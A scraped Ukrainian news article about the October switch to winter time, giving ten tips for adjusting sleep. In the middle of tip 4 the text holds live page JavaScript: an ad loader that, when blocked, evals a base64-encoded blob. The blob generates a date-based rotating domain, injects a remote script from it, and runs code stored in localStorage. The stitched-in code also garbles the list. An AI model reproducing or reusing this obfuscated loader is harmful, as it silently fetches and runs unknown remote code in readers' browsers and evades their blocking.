Переведення годинників на зимовий та літній час в Україні визначено урядовою постановою «Про порядок обчислення часу на території України» від 13 травня 1996 року. Виходячи з цього, переведення годинника двічі на рік законодавчо закріплено.
Годинник потрібно буде перевести на зимовий час останньої неділі жовтня (у ніч із 29 на 30 жовтня) рівно о 04:00. Час потрібно перевести на годину назад, через те, що взимку світанок настає пізніше, а сутінки настають раніше, ніж у літній період. У Криму, а також у частині Донецької та Луганської областей використовується місцевий час без сезонного переведення годинників.
Як підготуватися?
Багатьом людям потрібен певний час, щоб звикнути до нового ритму життя. Як адаптуватися після переведення годинників, щоб легше пережити цей період, читайте в нашій статті.
1. Пам’ятайте, що на вихідних ви напевно без особливих проблем залишалися спати ще довше, ніж на одну додаткову годину, оскільки ваш організм може пристосуватися до більш пізнього засипання. Цей факт допоможе вам трохи заспокоїтися перед майбутнім переведенням часу.
2. Протягом тижня до переведення часу почніть лягати спати трохи раніше. Спочатку ідіть спати на 15 хвилин раніше. Потім, кожні два дні «зсовуйте» графік ще на 15 хвилин. Це допоможе поступово зміщувати ваші ритми сну і синхронізувати їх зі зміною часу.
3. Також протягом тижня спробуйте потроху зміщувати час увечері. Це допоможе структурувати ваш вечір і трохи пересунути час перед сном.
4. Відрегулюйте освітлення у вашому домі. Відкривайте штори, щойно прокинетеся. Увечері затемняйте кімнату, щоб заспокоїтися перед сном. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
5. Регулюйте яскравість світла в кімнаті, поступово зменшуючи освітлення з наближенням закінчення дня.
6. Починайте приготування до сну і потроху заспокоюйтеся за годину до моменту, коли приходить час для сну, згідно з новим графіком.
7. Тепла ванна є відмінним способом, щоб розслабитися перед сном.
8. Кофеїн і алкоголь заважають як циклу сну, так і неспанню. За день або два до переведення часу обмежте споживання цих напоїв. Це допоможе легше і природно змістити графік сну.
9. Якщо вам потрібно подрімати в середині дня, постарайтеся зробити це трохи раніше, ніж зазвичай, і не довше 30 хвилин.
10. Якщо у вас є діти, допоможіть і їм поступово адаптуватися до переведення годинників, наприклад, використовуючи поради 2-5. (adsbygoogle = window.adsbygoogle || []).push({});
Підписуйтесь на Акцент в 
Источник: https://akzent.zp.ua/koli-ukrayintsyam-potribno-perevesti-strilki-godinnika/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
